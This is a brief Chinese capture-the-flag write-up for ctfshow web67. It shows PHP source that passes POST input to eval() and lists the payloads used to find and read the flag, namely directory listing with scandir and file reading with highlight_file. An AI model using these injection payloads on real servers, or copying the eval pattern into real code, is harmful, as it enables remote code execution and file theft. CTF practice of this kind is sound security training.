[ctfshow web入门] web67

信息收集

print_r被禁用了

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

解题

和上题一样，flag不在flag.php

c=var_dump(scandir(getcwd()));
c=highlight_file("flag.txt");
c=var_dump(scandir('/'));

c=highlight_file("/flag.txt");

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